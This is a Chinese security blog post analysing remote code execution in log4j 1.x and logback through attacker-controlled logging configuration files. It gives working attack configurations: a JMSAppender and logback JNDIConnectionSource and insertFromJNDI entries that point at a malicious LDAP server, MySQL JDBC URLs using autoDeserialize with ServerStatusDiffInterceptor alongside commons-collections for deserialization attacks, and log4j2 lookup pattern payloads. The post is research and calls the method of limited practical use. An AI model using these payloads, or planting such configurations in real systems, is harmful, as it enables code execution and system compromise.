log4j 1.x 与 logback 的鸡肋RCE讨论

本文最后更新于 2021.12.12,总计 9569 字 ,阅读本文大概需要 8 ~ 27 分钟
本文已超过 39天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

0x01 写在前面

对 log4j2 漏洞的后续研究中,发现一些有趣的东西,记录分享一下

0x02 log4j 真的在任何情况不存在 JNDI注入吗?

首先提出一个问题,log4j 真的在任何情况不存在 JNDI注入吗?

答案是否定的。

翻阅 Log4j2 的 pull request 发现一个有意思的对话:

1.png

有人提出实际上 log4j 和 log4j2 一样易受攻击的,只不过与 log4j2 相比,Log4j 的攻击向量“更安全”

因为 Log4j 的攻击入口点是其配置文件,而 log4j2 的攻击入口点是用户的输入

那么实际上如何呢?经过我简单测试,发现修改 log4j 的配置文件确实会导致漏洞的产生,但要求要比pull reques中所说的更苛刻。

案例1 - log4j 配置文件中 JMSAppender 的 RCE

首先在 maven 中添加以下依赖:

<dependencies>  
    <dependency>  
        <groupId>log4j</groupId>  
        <artifactId>log4j</artifactId>  
        <version>1.2.17</version>  
    </dependency>  
    <dependency>  
        <groupId>org.apache.activemq</groupId>  
        <artifactId>activemq-broker</artifactId>  
        <version>5.16.3</version>  
    </dependency>  
</dependencies>

然后在resource 目录下新建 log4j.properties 文件,内容如下:

log4j.rootLogger=INFO, stdout, jms  
  
log4j.logger.org.apache.activemq=INFO, stdout  
  
log4j.appender.stdout=org.apache.log4j.ConsoleAppender  
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout  
log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n  
  
log4j.appender.jms=org.apache.log4j.net.JMSAppender  
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory  
log4j.appender.jms.ProviderURL=tcp://localhost:61616  
log4j.appender.jms.TopicBindingName=jmsTest
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd

最后新建 Log4jJMSAppenderTest.java 文件,内容如下:

import org.apache.log4j.Logger;  
import javax.naming.NamingException;  
  
class Log4jJMSAppenderTest {  
  
  
    public static void main(String[] args) throws NamingException {  
        // 通常情况下会自动加载 Log4j 的配置文件,如果不能自动加载可以取消注释下行代码  
 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class);  
        logger.error("error");  
    }  
}

可以看到,项目的所用到的主要依赖是 log4j 1.2.17 版本,然后为了满足条件要求(后文会说具体什么条件),又引入了最新版的 activemq 依赖。

然后如果直接运行 main 函数,可以直接触发 RCE:

2.png

原理很简单,log4j 有一个名为Appenders的功能,Appender 通常只负责将事件数据写入目标指定的区域, 比如数据库、JMS 代理等

当检测到log4j.properties配置文件中存在指定的 Appender 时,会自动进入相应的功能逻辑

如,假设配置了log4j.appender.file=org.apache.log4j.FileAppender,那么会进入FileAppender.java 中的 activateOptions 方法

配置了log4j.appender.stdout=org.apache.log4j.ConsoleAppender,那么会进入ConsoleAppender.java 中的activateOptions方法

上文中配置的是log4j.appender.jms=org.apache.log4j.net.JMSAppender ,会进入JMSAppender.java中的activateOptions方法

我们可以在该方法打个断点,debug 就可以看到其调用的是 lookup 方法:

3.png

然后在 ctx.lookup(name)中传入我们指定的恶意 LDAP 服务地址,从而触发 RCE

4.png

这里虽然可以实现了 RCE,但实际上你可以发现,必须要有一个支持 jms 代理的类(org.apache.activemq.jndi.ActiveMQInitialContextFactory )才可以,否则是会报错的,如果实际业务代码或引用的包中没有 jms 代理类,就显得就十分鸡肋+苛刻了

那么可利用的仅仅是 JMSAppender 吗?

案例 2 - log4j 配置文件中 JDBC 的 RCE

在 log4j 中,除了 JMSAppender 配置项外,还有很多 Appender,JDBCAppender就是其一。

同样的,在 resources 目录下创建log4j.properties文件,内容如下:

log4j.rootLogger=DEBUG,database  
 
log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender  
#数据库地址  
log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  
log4j.appender.database.driver=com.mysql.jdbc.Driver  
log4j.appender.database.user=test  
log4j.appender.database.password=111111  
log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')  
#log4j.appender.database.layout=org.apache.log4j.PatternLayout  

为了方便测试 JDBC反序列化漏洞,所以maven 中我们新增了其他依赖,具体如下:

<dependency>  
    <groupId>log4j</groupId>  
    <artifactId>log4j</artifactId>  
    <version>1.2.17</version>  
</dependency>  
  
<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.2.1</version>  
</dependency>  
  
<dependency>  
    <groupId>mysql</groupId>  
    <artifactId>mysql-connector-java</artifactId>  
    <version>8.0.12</version>  
</dependency>

最后再新建 test.java 文件,内容如下:


import org.apache.log4j.Logger;  
  
public class test {  
    public static void main(String[] args) {  
        Logger logger = Logger.getLogger(test.class);  
        logger.error("error");  
    }  
}

运行main函数,直接触发 RCE:

5.png

原理和JMSAppender比较类似,同样是那么会进入JDBCAppender.java 中,只不过触发的方法是getConnection(),后续就是我们比较熟知的 JDBC 反序列漏洞流程了

这里提到的仅仅是 log4j 的1.x 版本,实际上 log4j 2.15.0 同样可以实现上述操作

在能够控制配置文件的情况下,可以不用再花心思去绕过 lookup 的白名单和各种限制,直接采用类似于上面的方式实现 RCE,比如三梦师傅之前提到的:

<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern>
<pattern>${payload}</pattern>

当然,总体来看,这种修改配置文件的方式还是很鸡肋的,实际利用有限,只是适用于特殊场景,此处仅作技术性探讨

0x03 logback 的鸡肋 RCE

提到 log 日志记录,除了 log4j 外,还有就是 logbacklogbakclog4j是 同一个人写的,因此实际上我想看看 logback 中是否存在类似问题

并且由于 logback 是 springboot 的默认组件,如果同样存在类似问题,那么可能遇到这种场景的机会会加大

首先 看的是 JMSAppender,遗憾的是,在 logback 的 1.2.2版本后,就移除了 JMSTopicAppender

6.png

但幸运的是 ,在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppender

DBAppender 中有一个名为ConnectionSource的接口,该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection 的 logback 类获取 JDBC 连接,目前有三种实现,分别为: DriverManagerConnectionSourceDataSourceConnectionSourceJNDIConnectionSource。这三种实现每一种都可以用来实现 RCE。

DriverManagerConnectionSourceDataSourceConnectionSource 比较类似,都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。

首先在 resource 目录下新建 logback-spring.xml ,内容如下

<configuration>  
  
    <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">  
        <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource">  
            <driverClass>com.mysql.jdbc.Driver</driverClass>  
            <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url>  
            <user>username</user>  
            <password>password</password>  
        </connectionSource>  
    </appender>  
  
    <root level="DEBUG" >  
        <appender-ref ref="DB" />  
    </root>  
</configuration>

然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖,如下:

<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.2.1</version>  
</dependency>  
  
<dependency>  
    <groupId>mysql</groupId>  
    <artifactId>mysql-connector-java</artifactId>  
    <version>8.0.12</version>  
</dependency>

然后直接运行SpringApplication.run()所在方法,即可触发漏洞:

7.png

除上述两种,还有 JNDIConnectionSource 方法,JNDIConnectionSource 是 logback 自带的方法,从名字就可以看出来,它通过 JNDI 获取 javax.sql.DataSource,然后再获取 java.sql.Connection 实例

同样的,对于我们来说,这种方式实现 RCE 更方便,完全不需要其他的依赖,测试如下:

在 resource 目录下新建 logback-spring.xml ,内容如下

<configuration debug="true">  
    <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">  
        <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">  
            <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>  
        </connectionSource>  
    </appender>  
    <root level="DEBUG">  
        <appender-ref ref="DB"/>  
    </root>  
</configuration>

同样的,直接运行SpringApplication.run()所在方法,即可触发漏洞:

8.png

实际上跟踪一下可以发现,最终会进入到JNDIConnectionSource.javagetConnection方法,如果dataSource 为空,那么就令dataSource = lookupDataSource();

然后在lookupDataSource() 中触发 lookup:

9.png

不过这里需要注意的是,JNDIConnectionSource类是通过无参构造函数获取 javax.naming.InitialContext,这种方式在 J2EE 环境通常可以行得通,但是在 J2EE 环境之外,需要额外提供一个 jndi.properties 的配置文件才可以。

实际上除了上述方式,还有一种配置不借助 DBAppender 也可以直接实现 RCE,配置如下:

<configuration>  
    <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />  
  
  
    <root level="DEBUG">  
        <appender-ref ref="CONSOLE" />  
    </root>  
</configuration>

运行项目即可实现 RCE:

10.png

同样跟踪可以发现,是在InsertFromJNDIAction.javabegin方法中调用了 JNDIUtil.lookup 方法,从而触发漏洞:

11.png

当然,还有 JMX 同样可以实现RCE,原理大致相同,这里不在赘述

0x04 写在最后

上面的方式确实比较鸡肋,正如 pull request 那里写的:

如果攻击者可以修改某个系统 S 上的配置文件,那么可以假设 S 已经被很大程度地渗透了。

但还是有可行的场景的, 通过查阅资料我发现,logback配置文件中有个特色属性为 scan,只要配置文件中配置了 scan 属性,那么系统会启动一个scan task监控配置文件的变动,如果发生变化,那么就在配置文件变更时的自动加载新的配置文件,具体场景发现已经有人做了实验,可以参考:https://xz.aliyun.com/t/7351

当然,可能在绝大多数情况下这些方式都是没用的,但是,请尽情的发挥你的想象,思考可能的攻击场景吧

0x05 参考

https://github.com/apache/logging-log4j2/pull/608
https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq
https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://www.cnpanda.net/sec/1131.html(转载时请注明本文出处及文章链接)

添加新评论

暂无评论